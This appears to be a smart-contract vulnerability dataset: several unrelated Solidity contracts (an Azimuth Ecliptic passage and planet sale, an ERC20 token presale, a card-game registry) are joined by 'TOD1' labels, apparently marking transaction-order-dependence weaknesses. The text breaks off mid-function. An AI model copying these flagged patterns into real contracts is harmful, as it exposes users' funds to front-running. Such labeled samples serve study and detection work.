azimuth.hasBeenLinked(_point) ) { azimuth.incrementContinuityNumber(_point); azimuth.setKeys(_point, 0, 0, 0); } // clear management proxy // azimuth.setManagementProxy(_point, 0); // clear voting proxy // azimuth.setVotingProxy(_point, 0); // clear transfer proxy // // in most cases this is done above, during the ownership transfer, // but we might not hit that and still be expected to reset the // transfer proxy. // doing it a second time is a no-op in Azimuth. // azimuth.setTransferProxy(_point, 0); // clear spawning proxy // azimuth.setSpawnProxy(_point, 0); // clear claims // claims.clearClaims(_point); } } // escape(): request escape as _point to _sponsor // // if an escape request is already active, this overwrites // the existing request // // Requirements: // - :msg.sender must be the owner or manager of _point, // - _point must be able to escape to _sponsor as per to canEscapeTo() // function escape(uint32 _point, uint32 _sponsor) external activePointManager(_point) { require(canEscapeTo(_point, _sponsor)); azimuth.setEscapeRequest(_point, _sponsor); } // cancelEscape(): cancel the currently set escape for _point // function cancelEscape(uint32 _point) external activePointManager(_point) { azimuth.cancelEscape(_point); } // adopt(): as the relevant sponsor, accept the _point // // Requirements: // - :msg.sender must be the owner or management proxy // of _point's requested sponsor // function adopt(uint32 _point) external { require( azimuth.isEscaping(_point) && azimuth.canManage( azimuth.getEscapeRequest(_point), msg.sender ) ); // _sponsor becomes _point's sponsor // its escape request is reset to "not escaping" // azimuth.doEscape(_point); } // reject(): as the relevant sponsor, deny the _point's request // // Requirements: // - :msg.sender must be the owner or management proxy // of _point's requested sponsor // function reject(uint32 _point) external { require( azimuth.isEscaping(_point) && azimuth.canManage( azimuth.getEscapeRequest(_point), msg.sender ) ); // reset the _point's escape request to "not escaping" // azimuth.cancelEscape(_point); } // detach(): as the _sponsor, stop sponsoring the _point // // Requirements: // - :msg.sender must be the owner or management proxy // of _point's current sponsor // function detach(uint32 _point) external { require( azimuth.hasSponsor(_point) && azimuth.canManage(azimuth.getSponsor(_point), msg.sender) ); // signal that its sponsor no longer supports _point // azimuth.loseSponsor(_point); } // // Point rules // // getSpawnLimit(): returns the total number of children the _point // is allowed to spawn at _time. // function getSpawnLimit(uint32 _point, uint256 _time) public view returns (uint32 limit) { Azimuth.Size size = azimuth.getPointSize(_point); if ( size == Azimuth.Size.Galaxy ) { return 255; } else if ( size == Azimuth.Size.Star ) { // in 2019, stars may spawn at most 1024 planets. this limit doubles // for every subsequent year. // // Note: 1546300800 corresponds to 2019-01-01 // uint256 yearsSince2019 = (_time - 1546300800) / 365 days; if (yearsSince2019 < 6) { limit = uint32( 1024 * (2 ** yearsSince2019) ); } else { limit = 65535; } return limit; } else // size == Azimuth.Size.Planet { // planets can create moons, but moons aren't on the chain // return 0; } } // canEscapeTo(): true if _point could try to escape to _sponsor // function canEscapeTo(uint32 _point, uint32 _sponsor) public view returns (bool canEscape) { // can't escape to a sponsor that hasn't been linked // if ( !azimuth.hasBeenLinked(_sponsor) ) return false; // Can only escape to a point one size higher than ourselves, // except in the special case where the escaping point hasn't // been linked yet -- in that case we may escape to points of // the same size, to support lightweight invitation chains. // // The use case for lightweight invitations is that a planet // owner should be able to invite their friends onto an // Azimuth network in a two-party transaction, without a new // star relationship. // The lightweight invitation process works by escaping your // own active (but never linked) point to one of your own // points, then transferring the point to your friend. // // These planets can, in turn, sponsor other unlinked planets, // so the "planet sponsorship chain" can grow to arbitrary // length. Most users, especially deep down the chain, will // want to improve their performance by switching to direct // star sponsors eventually. // Azimuth.Size pointSize = azimuth.getPointSize(_point); Azimuth.Size sponsorSize = azimuth.getPointSize(_sponsor); return ( // normal hierarchical escape structure // ( (uint8(sponsorSize) + 1) == uint8(pointSize) ) || // // special peer escape // ( (sponsorSize == pointSize) && // // peer escape is only for points that haven't been linked // yet, because it's only for lightweight invitation chains // !azimuth.hasBeenLinked(_point) ) ); } // // Permission management // // setManagementProxy(): configure the management proxy for _point // // The management proxy may perform "reversible" operations on // behalf of the owner. This includes public key configuration and // operations relating to sponsorship. // function setManagementProxy(uint32 _point, address _manager) external activePointOwner(_point) { azimuth.setManagementProxy(_point, _manager); } // setSpawnProxy(): give _spawnProxy the right to spawn points // with the prefix _prefix // function setSpawnProxy(uint16 _prefix, address _spawnProxy) external activePointOwner(_prefix) { azimuth.setSpawnProxy(_prefix, _spawnProxy); } // setVotingProxy(): configure the voting proxy for _galaxy // // the voting proxy is allowed to start polls and cast votes // on the point's behalf. // function setVotingProxy(uint8 _galaxy, address _voter) external activePointOwner(_galaxy) { azimuth.setVotingProxy(_galaxy, _voter); } // setTransferProxy(): give _transferProxy the right to transfer _point // // Requirements: // - :msg.sender must be either _point's current owner, // or be an operator for the current owner // function setTransferProxy(uint32 _point, address _transferProxy) public { // owner: owner of _point // address owner = azimuth.getOwner(_point); // caller must be :owner, or an operator designated by the owner. // require((owner == msg.sender) || azimuth.isOperator(owner, msg.sender)); // set transfer proxy field in Azimuth contract // azimuth.setTransferProxy(_point, _transferProxy); // emit Approval event // emit Approval(owner, _transferProxy, uint256(_point)); } // // Poll actions // // startUpgradePoll(): as _galaxy, start a poll for the ecliptic // upgrade _proposal // // Requirements: // - :msg.sender must be the owner or voting proxy of _galaxy, // - the _proposal must expect to be upgraded from this specific // contract, as indicated by its previousEcliptic attribute // function startUpgradePoll(uint8 _galaxy, EclipticBase _proposal) external activePointVoter(_galaxy) { // ensure that the upgrade target expects this contract as the source // require(_proposal.previousEcliptic() == address(this)); polls.startUpgradePoll(_proposal); } // startDocumentPoll(): as _galaxy, start a poll for the _proposal // // the _proposal argument is the keccak-256 hash of any arbitrary // document or string of text // function startDocumentPoll(uint8 _galaxy, bytes32 _proposal) external activePointVoter(_galaxy) { polls.startDocumentPoll(_proposal); } // castUpgradeVote(): as _galaxy, cast a _vote on the ecliptic // upgrade _proposal // // _vote is true when in favor of the proposal, false otherwise // // If this vote results in a majority for the _proposal, it will // be upgraded to immediately. // function castUpgradeVote(uint8 _galaxy, EclipticBase _proposal, bool _vote) external activePointVoter(_galaxy) { // majority: true if the vote resulted in a majority, false otherwise // bool majority = polls.castUpgradeVote(_galaxy, _proposal, _vote); // if a majority is in favor of the upgrade, it happens as defined // in the ecliptic base contract // if (majority) { upgrade(_proposal); } } // castDocumentVote(): as _galaxy, cast a _vote on the _proposal // // _vote is true when in favor of the proposal, false otherwise // function castDocumentVote(uint8 _galaxy, bytes32 _proposal, bool _vote) external activePointVoter(_galaxy) { polls.castDocumentVote(_galaxy, _proposal, _vote); } // updateUpgradePoll(): check whether the _proposal has achieved // majority, upgrading to it if it has // function updateUpgradePoll(EclipticBase _proposal) external { // majority: true if the poll ended in a majority, false otherwise // bool majority = polls.updateUpgradePoll(_proposal); // if a majority is in favor of the upgrade, it happens as defined // in the ecliptic base contract // if (majority) { upgrade(_proposal); } } // updateDocumentPoll(): check whether the _proposal has achieved majority // // Note: the polls contract publicly exposes the function this calls, // but we offer it in the ecliptic interface as a convenience // function updateDocumentPoll(bytes32 _proposal) external { polls.updateDocumentPoll(_proposal); } // // Contract owner operations // // createGalaxy(): grant _target ownership of the _galaxy and register // it for voting // function createGalaxy(uint8 _galaxy, address _target) external onlyOwner { // only currently unowned (and thus also inactive) galaxies can be // created, and only to non-zero addresses // require( azimuth.isOwner(_galaxy, 0x0) && 0x0 != _target ); // new galaxy means a new registered voter // polls.incrementTotalVoters(); // if the caller is sending the galaxy to themselves, // assume it knows what it's doing and resolve right away // if (msg.sender == _target) { doSpawn(_galaxy, _target, true, 0x0); } // // when sending to a "foreign" address, enforce a withdraw pattern, // making the caller the owner in the mean time // else { doSpawn(_galaxy, _target, false, msg.sender); } } function setDnsDomains(string _primary, string _secondary, string _tertiary) external onlyOwner { azimuth.setDnsDomains(_primary, _secondary, _tertiary); } // // Function modifiers for this contract // // validPointId(): require that _id is a valid point // modifier validPointId(uint256 _id) { require(_id < 0x100000000); _; } // activePointVoter(): require that :msg.sender can vote as _point, // and that _point is active // modifier activePointVoter(uint32 _point) { require( azimuth.canVoteAs(_point, msg.sender) && azimuth.isActive(_point) ); _; } } // PlanetSale: a practically stateless point sale contract // // This contract facilitates the sale of points (most commonly planets). // Instead of "depositing" points into this contract, points are // available for sale when this contract is able to spawn them. // This is the case when the point is inactive and its prefix has // allowed this contract to spawn for it. // // The contract owner can determine the price per point, withdraw funds // that have been sent to this contract, and shut down the contract // to prevent further sales. // // This contract is intended to be deployed by star owners that want // to sell their planets on-chain. // contract PlanetSale is Ownable { // PlanetSold: _planet has been sold // event PlanetSold(uint32 indexed prefix, uint32 indexed planet); // azimuth: points state data store // Azimuth public azimuth; // price: ether per planet, in wei // uint256 public price; // constructor(): configure the points data store and initial sale price // constructor(Azimuth _azimuth, uint256 _price) public { require(0 < _price); azimuth = _azimuth; setPrice(_price); } // // Buyer operations // // available(): returns true if the _planet is available for purchase // function available(uint32 _planet) public view returns (bool result) { uint16 prefix = azimuth.getPrefix(_planet); return ( // planet must not have an owner yet // azimuth.isOwner(_planet, 0x0) && // // this contract must be allowed to spawn for the prefix // azimuth.isSpawnProxy(prefix, this) && // // prefix must be linked // azimuth.hasBeenLinked(prefix) ); } // purchase(): pay the :price, acquire ownership of the _planet // // discovery of available planets can be done off-chain // function purchase(uint32 _planet) external payable { require( // caller must pay exactly the price of a planet // (msg.value == price) && // // the planet must be available for purchase // available(_planet) ); // spawn the planet to us, then immediately transfer to the caller // // spawning to the caller would give the point's prefix's owner // a window of opportunity to cancel the transfer // Ecliptic ecliptic = Ecliptic(azimuth.owner()); ecliptic.spawn(_planet, this); ecliptic.transferPoint(_planet, msg.sender, false); emit PlanetSold(azimuth.getPrefix(_planet), _planet); } // // Seller operations // // setPrice(): configure the price in wei per planet // function setPrice(uint256 _price) public onlyOwner { require(0 < _price); price = _price; } // withdraw(): withdraw ether funds held by this contract to _target // function withdraw(address _target) external onlyOwner { require(0x0 != _target); _target.transfer(address(this).balance); } // close(): end the sale by destroying this contract and transferring // remaining funds to _target // function close(address _target) external onlyOwner { require(0x0 != _target); selfdestruct(_target); } }
TOD1
pragma solidity ^0.4.11; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /* * Haltable * * Abstract contract that allows children to implement an * emergency stop mechanism. Differs from Pausable by requiring a state. * * * Originally envisioned in FirstBlood ICO contract. */ contract Haltable is Ownable { bool public halted = false; modifier inNormalState { require(!halted); _; } modifier inEmergencyState { require(halted); _; } // called by the owner on emergency, triggers stopped state function halt() external onlyOwner inNormalState { halted = true; } // called by the owner on end of emergency, returns to normal state function unhalt() external onlyOwner inEmergencyState { halted = false; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable * * @dev Standard ERC20 token */ contract Burnable is StandardToken { using SafeMath for uint; /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint value); function burn(uint _value) returns (bool success) { require(_value > 0 && balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint _value) returns (bool success) { require(_from != 0x0 && _value > 0 && balances[_from] >= _value); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); totalSupply_ = totalSupply_.sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Burn(_from, _value); return true; } function transfer(address _to, uint _value) returns (bool success) { require(_to != 0x0); //use burn return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) returns (bool success) { require(_to != 0x0); //use burn return super.transferFrom(_from, _to, _value); } } /** * @title MyPizzaPieToken * * @dev Burnable Ownable ERC20 token */ contract MyPizzaPieToken is Burnable, Ownable { string public constant name = "MyPizzaPie Token"; string public constant symbol = "PZA"; uint8 public constant decimals = 18; uint public constant INITIAL_SUPPLY = 81192000 * 1 ether; /* The finalizer contract that allows unlift the transfer limits on this token */ address public releaseAgent; /** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/ bool public released = false; /** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */ mapping (address => bool) public transferAgents; /** * Limit token transfer until the crowdsale is over. * */ modifier canTransfer(address _sender) { require(released || transferAgents[_sender]); _; } /** The function can be called only before or after the tokens have been released */ modifier inReleaseState(bool releaseState) { require(releaseState == released); _; } /** The function can be called only by a whitelisted release agent. */ modifier onlyReleaseAgent() { require(msg.sender == releaseAgent); _; } /** * @dev Constructor that gives msg.sender all of existing tokens. */ function MyPizzaPieToken() { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } /** * Set the contract that can call release and make the token transferable. * * Design choice. Allow reset the release agent to fix fat finger mistakes. */ function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { require(addr != 0x0); // We don't do interface check here as we might want to a normal wallet address to act as a release agent releaseAgent = addr; } function release() onlyReleaseAgent inReleaseState(false) public { released = true; } /** * Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period. */ function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { require(addr != 0x0); transferAgents[addr] = state; } function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { // Call Burnable.transfer() return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { // Call Burnable.transferForm() return super.transferFrom(_from, _to, _value); } function burn(uint _value) onlyOwner returns (bool success) { return super.burn(_value); } function burnFrom(address _from, uint _value) onlyOwner returns (bool success) { return super.burnFrom(_from, _value); } } contract InvestorWhiteList is Ownable { mapping (address => bool) public investorWhiteList; mapping (address => address) public referralList; function InvestorWhiteList() { } function addInvestorToWhiteList(address investor) external onlyOwner { require(investor != 0x0 && !investorWhiteList[investor]); investorWhiteList[investor] = true; } function removeInvestorFromWhiteList(address investor) external onlyOwner { require(investor != 0x0 && investorWhiteList[investor]); investorWhiteList[investor] = false; } //when new user will contribute ICO contract will automatically send bonus to referral function addReferralOf(address investor, address referral) external onlyOwner { require(investor != 0x0 && referral != 0x0 && referralList[investor] == 0x0 && investor != referral); referralList[investor] = referral; } function isAllowed(address investor) constant external returns (bool result) { return investorWhiteList[investor]; } function getReferralOf(address investor) constant external returns (address result) { return referralList[investor]; } } contract PriceReceiver { address public ethPriceProvider; address public btcPriceProvider; modifier onlyEthPriceProvider() { require(msg.sender == ethPriceProvider); _; } modifier onlyBtcPriceProvider() { require(msg.sender == btcPriceProvider); _; } function receiveEthPrice(uint ethUsdPrice) external; function receiveBtcPrice(uint btcUsdPrice) external; function setEthPriceProvider(address provider) external; function setBtcPriceProvider(address provider) external; } contract MyPizzaPieTokenPreSale is Haltable, PriceReceiver { using SafeMath for uint; string public constant name = "MyPizzaPie Token PreSale"; uint public VOLUME_70 = 2000 ether; uint public VOLUME_60 = 1000 ether; uint public VOLUME_50 = 100 ether; uint public VOLUME_25 = 1 ether; uint public VOLUME_5 = 0.1 ether; MyPizzaPieToken public token; InvestorWhiteList public investorWhiteList; address public beneficiary; uint public hardCap; uint public softCap; uint public ethUsdRate; uint public btcUsdRate; uint public tokenPriceUsd; uint public totalTokens;//in wei uint public collected = 0; uint public tokensSold = 0; uint public investorCount = 0; uint public weiRefunded = 0; uint public startTime; uint public endTime; bool public softCapReached = false; bool public crowdsaleFinished = false; mapping (address => bool) refunded; mapping (address => uint) public deposited; event SoftCapReached(uint softCap); event NewContribution(address indexed holder, uint tokenAmount, uint etherAmount); event Refunded(address indexed holder, uint amount); event Deposited(address indexed holder, uint amount); event Amount(uint amount); event Timestamp(uint time); modifier preSaleActive() { require(now >= startTime && now < endTime); _; } modifier preSaleEnded() { require(now >= endTime); _; } modifier inWhiteList() { require(investorWhiteList.isAllowed(msg.sender)); _; } function MyPizzaPieTokenPreSale( uint _hardCapETH, uint _softCapETH, address _token, address _beneficiary, address _investorWhiteList, uint _totalTokens, uint _tokenPriceUsd, uint _baseEthUsdPrice, uint _baseBtcUsdPrice, uint _startTime, uint _endTime ) { ethUsdRate = _baseEthUsdPrice; btcUsdRate = _baseBtcUsdPrice; tokenPriceUsd = _tokenPriceUsd; totalTokens = _totalTokens.mul(1 ether); hardCap = _hardCapETH.mul(1 ether); softCap = _softCapETH.mul(1 ether); token = MyPizzaPieToken(_token); investorWhiteList = InvestorWhiteList(_investorWhiteList); beneficiary = _beneficiary; startTime = _startTime; endTime = _endTime; Timestamp(block.timestamp); Timestamp(startTime); } function() payable inWhiteList { doPurchase(msg.sender); } function refund() external preSaleEnded inNormalState { require(softCapReached == false); require(refunded[msg.sender] == false); uint refund = deposited[msg.sender]; require(refund > 0); msg.sender.transfer(refund); deposited[msg.sender] = 0; refunded[msg.sender] = true; weiRefunded = weiRefunded.add(refund); Refunded(msg.sender, refund); } function withdraw() external onlyOwner { require(softCapReached); beneficiary.transfer(collected); token.transfer(beneficiary, token.balanceOf(this)); crowdsaleFinished = true; } function receiveEthPrice(uint ethUsdPrice) external onlyEthPriceProvider { require(ethUsdPrice > 0); ethUsdRate = ethUsdPrice; } function receiveBtcPrice(uint btcUsdPrice) external onlyBtcPriceProvider { require(btcUsdPrice > 0); btcUsdRate = btcUsdPrice; } function setEthPriceProvider(address provider) external onlyOwner { require(provider != 0x0); ethPriceProvider = provider; } function setBtcPriceProvider(address provider) external onlyOwner { require(provider != 0x0); btcPriceProvider = provider; } function setNewWhiteList(address newWhiteList) external onlyOwner { require(newWhiteList != 0x0); investorWhiteList = InvestorWhiteList(newWhiteList); } function doPurchase(address _owner) private preSaleActive inNormalState { require(!crowdsaleFinished); require(collected.add(msg.value) <= hardCap); require(totalTokens >= tokensSold + msg.value.mul(ethUsdRate).div(tokenPriceUsd)); if (!softCapReached && collected < softCap && collected.add(msg.value) >= softCap) { softCapReached = true; SoftCapReached(softCap); } uint tokens = msg.value.mul(ethUsdRate).div(tokenPriceUsd); uint bonus = calculateBonus(msg.value); if (bonus > 0) { tokens = tokens + tokens.mul(bonus).div(100); } if (token.balanceOf(msg.sender) == 0) investorCount++; collected = collected.add(msg.value); token.transfer(msg.sender, tokens); tokensSold = tokensSold.add(tokens); deposited[msg.sender] = deposited[msg.sender].add(msg.value); NewContribution(_owner, tokens, msg.value); } function calculateBonus(uint value) private returns (uint bonus) { if (value >= VOLUME_70) { return 70; } else if (value >= VOLUME_60) { return 60; } else if (value >= VOLUME_50) { return 50; } else if (value >= VOLUME_25) { return 25; }else if (value >= VOLUME_5) { return 5; } return 0; } }
TOD1
pragma solidity 0.4.24; contract Governable { event Pause(); event Unpause(); address public governor; bool public paused = false; constructor() public { governor = msg.sender; } function setGovernor(address _gov) public onlyGovernor { governor = _gov; } modifier onlyGovernor { require(msg.sender == governor); _; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyGovernor whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyGovernor whenPaused public { paused = false; emit Unpause(); } } contract CardBase is Governable { struct Card { uint16 proto; uint16 purity; } function getCard(uint id) public view returns (uint16 proto, uint16 purity) { Card memory card = cards[id]; return (card.proto, card.purity); } function getShine(uint16 purity) public pure returns (uint8) { return uint8(purity / 1000); } Card[] public cards; } contract CardProto is CardBase { event NewProtoCard( uint16 id, uint8 season, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 cardType, uint8 tribe, bool packable ); struct Limit { uint64 limit; bool exists; } // limits for mythic cards mapping(uint16 => Limit) public limits; // can only set limits once function setLimit(uint16 id, uint64 limit) public onlyGovernor { Limit memory l = limits[id]; require(!l.exists); limits[id] = Limit({ limit: limit, exists: true }); } function getLimit(uint16 id) public view returns (uint64 limit, bool set) { Limit memory l = limits[id]; return (l.limit, l.exists); } // could make these arrays to save gas // not really necessary - will be update a very limited no of times mapping(uint8 => bool) public seasonTradable; mapping(uint8 => bool) public seasonTradabilityLocked; uint8 public currentSeason; function makeTradeable(uint8 season) public onlyGovernor { seasonTradable[season] = true; } function makeUntradable(uint8 season) public onlyGovernor { require(!seasonTradabilityLocked[season]); seasonTradable[season] = false; } function makePermanantlyTradable(uint8 season) public onlyGovernor { require(seasonTradable[season]); seasonTradabilityLocked[season] = true; } function isTradable(uint16 proto) public view returns (bool) { return seasonTradable[protos[proto].season]; } function nextSeason() public onlyGovernor { //Seasons shouldn't go to 0 if there is more than the uint8 should hold, the governor should know this ¯\_(ツ)_/¯ -M require(currentSeason <= 255); currentSeason++; mythic.length = 0; legendary.length = 0; epic.length = 0; rare.length = 0; common.length = 0; } enum Rarity { Common, Rare, Epic, Legendary, Mythic } uint8 constant SPELL = 1; uint8 constant MINION = 2; uint8 constant WEAPON = 3; uint8 constant HERO = 4; struct ProtoCard { bool exists; uint8 god; uint8 season; uint8 cardType; Rarity rarity; uint8 mana; uint8 attack; uint8 health; uint8 tribe; } // there is a particular design decision driving this: // need to be able to iterate over mythics only for card generation // don't store 5 different arrays: have to use 2 ids // better to bear this cost (2 bytes per proto card) // rather than 1 byte per instance uint16 public protoCount; mapping(uint16 => ProtoCard) protos; uint16[] public mythic; uint16[] public legendary; uint16[] public epic; uint16[] public rare; uint16[] public common; function addProtos( uint16[] externalIDs, uint8[] gods, Rarity[] rarities, uint8[] manas, uint8[] attacks, uint8[] healths, uint8[] cardTypes, uint8[] tribes, bool[] packable ) public onlyGovernor returns(uint16) { for (uint i = 0; i < externalIDs.length; i++) { ProtoCard memory card = ProtoCard({ exists: true, god: gods[i], season: currentSeason, cardType: cardTypes[i], rarity: rarities[i], mana: manas[i], attack: attacks[i], health: healths[i], tribe: tribes[i] }); _addProto(externalIDs[i], card, packable[i]); } } function addProto( uint16 externalID, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 cardType, uint8 tribe, bool packable ) public onlyGovernor returns(uint16) { ProtoCard memory card = ProtoCard({ exists: true, god: god, season: currentSeason, cardType: cardType, rarity: rarity, mana: mana, attack: attack, health: health, tribe: tribe }); _addProto(externalID, card, packable); } function addWeapon( uint16 externalID, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 durability, bool packable ) public onlyGovernor returns(uint16) { ProtoCard memory card = ProtoCard({ exists: true, god: god, season: currentSeason, cardType: WEAPON, rarity: rarity, mana: mana, attack: attack, health: durability, tribe: 0 }); _addProto(externalID, card, packable); } function addSpell(uint16 externalID, uint8 god, Rarity rarity, uint8 mana, bool packable) public onlyGovernor returns(uint16) { ProtoCard memory card = ProtoCard({ exists: true, god: god, season: currentSeason, cardType: SPELL, rarity: rarity, mana: mana, attack: 0, health: 0, tribe: 0 }); _addProto(externalID, card, packable); } function addMinion( uint16 externalID, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 tribe, bool packable ) public onlyGovernor returns(uint16) { ProtoCard memory card = ProtoCard({ exists: true, god: god, season: currentSeason, cardType: MINION, rarity: rarity, mana: mana, attack: attack, health: health, tribe: tribe }); _addProto(externalID, card, packable); } function _addProto(uint16 externalID, ProtoCard memory card, bool packable) internal { require(!protos[externalID].exists); card.exists = true; protos[externalID] = card; protoCount++; emit NewProtoCard( externalID, currentSeason, card.god, card.rarity, card.mana, card.attack, card.health, card.cardType, card.tribe, packable ); if (packable) { Rarity rarity = card.rarity; if (rarity == Rarity.Common) { common.push(externalID); } else if (rarity == Rarity.Rare) { rare.push(externalID); } else if (rarity == Rarity.Epic) { epic.push(externalID); } else if (rarity == Rarity.Legendary) { legendary.push(externalID); } else if (rarity == Rarity.Mythic) { mythic.push(externalID); } else { require(false); } } } function getProto(uint16 id) public view returns( bool exists, uint8 god, uint8 season, uint8 cardType, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 tribe ) { ProtoCard memory proto = protos[id]; return ( proto.exists, proto.god, proto.season, proto.cardType, proto.rarity, proto.mana, proto.attack, proto.health, proto.tribe ); } function getRandomCard(Rarity rarity, uint16 random) public view returns (uint16) { // modulo bias is fine - creates rarity tiers etc // will obviously revert is there are no cards of that type: this is expected - should never happen if (rarity == Rarity.Common) { return common[random % common.length]; } else if (rarity == Rarity.Rare) { return rare[random % rare.length]; } else if (rarity == Rarity.Epic) { return epic[random % epic.length]; } else if (rarity == Rarity.Legendary) { return legendary[random % legendary.length]; } else if (rarity == Rarity.Mythic) { // make sure a mythic is available uint16 id; uint64 